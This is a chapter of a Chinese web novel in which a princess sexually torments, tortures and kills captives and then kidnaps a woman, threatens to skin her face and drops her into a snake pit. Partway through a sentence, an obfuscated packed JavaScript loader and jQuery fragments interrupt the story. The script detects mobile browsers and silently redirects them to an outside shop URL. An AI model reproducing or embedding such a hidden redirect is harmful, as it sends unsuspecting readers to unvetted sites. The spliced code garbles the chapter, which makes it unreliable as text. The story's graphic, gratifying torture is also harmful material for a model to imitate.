99. 蛇蝎美人

作品:《段姑娘每天打两份工

    几个月前,燕王亲自带人突击麝兰宫,推开宫殿大门,只见殿内的男人们个个衣不蔽体,袒胸露乳,卖弄风骚,以供她淫乐,画面不堪入目,连他这个风月老手都惊到无地自容。


    这之后,昌乐被禁足整整三个月。


    燕王也是见过世面的,本也不将这种事放在心上,一味娇纵女儿,甚至默许她买来各种奴隶,囚在禁地日日亵玩,折腾那些容貌昳丽,宽肩窄腰的男子们。


    只是未曾料到,她的杀戮越来越重,欲求不满,常常折腾出人命。


    不知是不是采阳补阴的缘故,他这个女儿竟越发美艳动人,每逢王室宗亲置办宴席,昌乐一出场,便艳惊四座。


    燕王初时虽恼,后来也颇为自得,那些低贱的奴隶死了也罢,不过是条狗,哪里比得上女儿的绝世容颜呢?


    只是未曾料到,这些身份低贱,形容卑琐的男奴已不能满足她,辗转在人指引下,郡主和朝中大员家中那些年轻俊美的公子勾搭上线。


    从前不过是同他们这些公子哥儿逢场作戏,各取所需,现在她想要得更多,想要他们永远住在自己的私人宫殿做她最忠实的裙下之臣。


    也许她一高兴,还会封他们当中最漂亮最贤良的那个为后,主持中馈。


    郡主生的极美,偏生还会演戏,哄得公子们意乱情迷同她上了床,结果一觉醒来,竟发现双手双脚皆被用铁链绑缚在床上。


    昌乐用涂满蔻丹的脚轻抬起对方的下巴,媚笑如蛇蝎,“冯公子,你不是说要跟本郡主双宿双飞,地老天荒的吗?”


    不着寸缕的冯玉郎满脸惊恐,死死盯着郡主那张美若天仙的脸,“郡、郡主,您大人大量,放我回去好吗?小人以后再也不敢了!”


    昌乐眉宇之间毫无柔情蜜意,充斥着暴戾之气。


    脚抬累了,她放下脚,曲膝靠在床尾,甜甜笑道:“瞧你吓的,本郡主又不会吃人,这样,你让我在你这身白肉上画一幅水墨山水画留作纪念,好不好?”


    冯玉郎才十六岁,尚且不谙世事,以为不过是画幅画而已,当即天真地应下来。


    谁知郡主要求更过分,竟直接坐在他身上,手里把玩着一把明晃晃的匕首,“好生伺候着,不然本郡主这手没轻没重的弄疼了你可就不太妙了?”


    冯玉郎方知大事不妙,可他竟无处可逃。


    昌乐勾住他的肩,刀尖慢慢划过少年裸露的后背,冯玉郎咬着牙闷哼出声,他能清晰地感受到滚热的血滴在皮肤上游走,却仍然不敢有任何反抗的举动。


    否则,那刀就会直接贯穿他的身体。


    他不想死,他只不过是喜欢姐姐,想和姐姐睡个觉玩玩而已的,没想到会变成这样。


    床帏升温,鲜血四溢,昌乐正玩得尽兴,不想她父亲这时带人进来,恰好撞破这不堪一幕。


    “昌乐!”


    燕王暴跳如雷,上去就是一巴掌,打得她嘴边鲜血直流。


    “畜生!你还是个人吗?这般欺负人,传出去让别人怎么想你爹!”


    郡主捂着脸,怒目瞪着他,“养不教,父之过,爹爹打我做什么?应该打自己两巴掌才是,毕竟可是您亲手造出我这样的妖孽呢。”


    燕王怔住半天,愧疚与羞耻从心底翻涌上来。


    “乖女儿,你要玩,那些贱民,哪个不能让你尽情取乐?冯小公子,可是冯大人的爱子,你动了他,你让爹爹怎么跟冯大人交代?”


    昌乐托着腮,叹气道:“可是爹爹,动都动了,放他回去,您的名声也保不住呀,冯大人嘴上不说,难道心里就不会有别的想法?”


    冯玉郎的爹乃是六部九卿之一,亦是他费劲千辛万苦才与之结交上的,昌乐这么做,不是拆他的台么?


    说话时,她微眯着眼,目光暧昧地扫向冯玉郎,“玉郎,你爹知道了一定很生气吧?”


    “郡主、王、王爷,小、小人…小人什么也不知道啊!”


    昌乐摸到床上匕首,猝不及防的,扑身上前,痛痛快快给了他一刀。


    喉咙处一个血色大洞,正汪汪涌出红色的血流。


    燕王双手负在身后,叹了口气,当即将贴身近侍叫来,“去,把尸体处理掉。”


    “是。”


    但昌乐因此被罚禁足三月,等反应过来上了周元澈的当,她已经在被禁足。


    昌乐郡主整日窝在房中度日如年,生不如死,每天靠砸东西出气。


    光这一天砸的东西,就得上千两的银子。


    迁怒受伤或死亡的仆人也有十七八个。


    “都怪那个周元澈,我说他怎么这么好心帮我物色面首,原来是在给我下套呢!”


    三个多月出来,她才知郑家的三姑娘已嫁了人,本备了礼品好心去韩家探望,想和她重修旧好?可孰料郑霜华当真无情,待自己竟和陌生人一般。


    昌乐看着神仙美眷的小夫妻,嘴角露出一抹邪恶的笑。


    “无妨,只要她受了委屈,总会回到我身边。”


    从韩府出来,竟意外撞见一个老熟人,听说她现在是周元澈的夫人。


    不禁有些惊讶,“我就说这两人不干不净的,原来还真是对奸夫□□呢,哼,装什么贞洁烈女呢。”


    昌乐坐在马车上,透过车窗看着不远处的段青萍,心里莫名躁动着,真想把那张漂亮的脸蛋毁掉,然后去吓吓周元澈。


    说真的,要是周掌司看到妻子血肉模糊的脸,会是什么心情呢?


    一定会,特别特别特别生气,气到想把本郡主杀了。


    好期待呀,真想看他生气的样子呢。


    她缓缓阖眼,再睁开,展眼早已身处空旷的麝兰宫。


    空气中弥漫着淡淡的血腥味。


    她那些可爱的小玩物们,都离她而去,真叫人伤心。


    陈雪游微微抬起头,醒来却看见面前坐在椅子里的昌乐郡主,正一脸阴恻恻笑着。


    她想起身,四肢被绳索绑缚在一把太师椅上面。


    “醒了?”


    “你是谁?”


    昌乐微眯凤眸,冷哼道:“段青萍,少给我装蒜,你以为我是外面那些傻子,那么好骗么?”


    陈雪游垂着头,不解道:“你到底是谁啊?我骗你什么了?”


    “段青萍!”


    “哦,我记得这个名字,夫君夜里做梦总叫着这个女人的名字,这个女人,她跟我长得很像是吗?”


    昌乐沉默了一会儿。


    手上不知何时多了一把精光耀眼的匕首,没有刀鞘的刀,看起来十分危险。


    她嗤的笑出声,“哈哈,这么说,你真是段青萍的替身啊!周元澈也真没本事,连个女人都抢不到,竟让她活活烧死了。”


    陈雪游颇为伤感道:“是啊,自从成婚以来夫君总抱着我喊她的名字,想来他真是爱极了那人。”


    “屁!爱极了又如何找替身,为何不陪心爱之人去死?男人的话你也信,活该给人当替身!”


    昌乐猛地起身冲过来,扒下她肩头的衣衫,想看看她有没有被周元澈虐待。


    “他没把你怎样吗?这是什么?”她刀尖戳着那块刺青。


    陈雪游沉吟片刻,解释道:“这是他给我下的咒。”


    “咒?”


    接着,故意挤出几滴眼泪,“姑娘,你应该听说过我丈夫的名头吧?别看他打扮得人模狗样,折磨起人来很可怕的。我身上这个咒,每晚都会发作,痛不欲生,而他就坐在一边看着我求饶,你说,这种没根的男人多变态呀!”


    昌乐星眸倏地亮起,“真的?这么说来,周掌司跟本郡主,倒是天生一对。”


    陈雪游故意劝道:“姑娘,我看你长得这么漂亮,劝你别犯傻,你会被他折腾死的。”


    昌乐转过头来,勾唇轻笑,“如果我偏要呢?”


    “那…那郡主便放我回去,我好好劝劝夫君,让他把我休了娶您。”


    “那倒不必。”


    寒光忽闪,晃得她眼睛生疼。


    “郡主你……”


    昌乐伸手掐住她的下巴,刀尖轻轻抵住那张肖似故人的脸。


    敢骗本郡主,段青萍,我马上就会让你尝到本郡主的厉害。


    “既然他爱你这张酷似段青萍的脸,那么,不如把它让给本郡主好不好?反正只要是心爱女人的脸就可以,那本郡主也可以戴上这张脸,做他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167629|188618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    周掌司的妻子。”


    陈雪游深深咽了口唾沫,背后冷汗直流。


    昌乐端详着她这张脸,唇边漾起密密麻麻的笑意,握刀的手更紧了几分,须臾,一滴血珠渗出来。


    “郡主……”


    “闭嘴!不要打扰本郡主,万一弄伤这张脸,我拿什么去骗他?”


    “想骗我?”大殿门口,秋风飒飒,一袭青青衫落拓,逃不掉的脸上分明有几分沧桑,“郡主想玩游戏,何不单独找臣?内子质蠢,怕是不能满足您。”


    “大人,大人救我!”


    周元澈余光瞥向妻子,手心里全是汗。


    疯狗好对付,但像郡主这样的疯女人却是千年一遇,稍有不慎,就会万劫不复。


    昌乐郡主把刀扔在地上,“好啊,那周掌司就陪本郡主在这里行乐如何?”


    他略皱眉头,叹气道:“臣是没有根的男人,郡主也要试试吗?”


    昌乐顿觉扫兴,“那你算什么男人,还不滚!”


    “臣遵命,这就滚。”说罢,他走上前来,欲给妻子解开绳索,不料昌乐扑上前来将他抱住。


    “别过去,大人,我舍不得让你死呢。”


    “什么?”


    她踮起脚尖,捧着男人的脸一顿猛亲。


    就在这时,地面忽然裂出一个大洞,轰隆隆,连人带椅子全部吞了进去。


    “雪游!”


    周元澈推开郡主,纵身上前扑倒,匆忙间只抓到她一角衣带。


    接着,地底下传来一阵凄厉的惨叫声。


    他用力捶打地面,直至指缝鲜血淋漓,深入砖缝,地面也没有任何反应。


    “你到底做了什么?”他转头,满目猩红望着高高在上的郡主。


    郡主斜靠着太师椅,咯咯笑道:“不知道呀,下面是什么呢?我好像忘记了。”


    突然,地下又传来一阵惨叫。


    “我想起来了,是虿盆呢,养了好几百条蛇!不过你放心,没毒的。”


    “郡主,你放过她吧,有什么只管冲我来!”他转身,跪在她面前,委曲求全。


    她兴奋叫道:“这么试不就试出来了,还说什么替身……啊,周元澈,你放开我!”


    昌乐睁大眼睛,死死抓着掐着她脖子的那双手。


    “她若死了,你便给她陪葬!”周元澈咬着牙,目光阴狠,手上的力道越发收紧。


    昌乐被他勒得喘不过气来,眼睛噙满泪水,“错…我……我错了……”


    他稍稍松手,郡主涨红的脸色立马恢复如常。


    昌乐剧烈咳嗽着,喘息好一阵,“咳咳咳,周元澈,现在就是把她救上来,她的脸肯定也被咬烂了,那你还要她吗?”


    “少废话,放人!”


    昌乐乖巧地点点头,接着,用鞋尖点着地面两块方砖,各点三下,随着轧轧声响起,陈雪游方才所在的地方重新裂出一个大洞。


    底下,有什么东西徐徐上升,不久,那把太师椅再次出现在地面,椅子上坐着个瑟瑟发抖的女人。


    “雪游!”


    “相公,救我啊相公!”


    周元澈怕她再使坏,一手掐着昌乐脖子,另一只手抽出腰间匕首,甩过去,断开妻子身上的绳索。


    陈雪游一脱束缚,立马跑到他身边,“相公!”


    周元澈将她紧紧抱在怀里,温声宽慰道:“没事了,已经没事了娘子,我们马上回家。”


    怀里的人抽噎不止,身子抖得如同筛糠。


    “下面、下面有鬼,有好多鬼啊。”


    “鬼?没有蛇咬你?”


    她摇摇头,眼泪滂沱,似是受到了巨大的惊吓,“鬼,好多鬼,全身都烂掉了……它们出来吓唬我……”


    断断续续正说着,陈雪游突然脸色一白,晕了过去。


    周元澈将怀中人打横抱起,转身快步走出这座魔窟,岂料刚到门口,郡主忽然叫住他。


    “周掌司,可要把你的女人看紧点。不然下次,我想,也许你会收到一张美丽的人皮哟。哎,你喜欢这样的礼物吗?”


    他头也不回道:“有空多睡几个男人,你的好日子也快到头了。”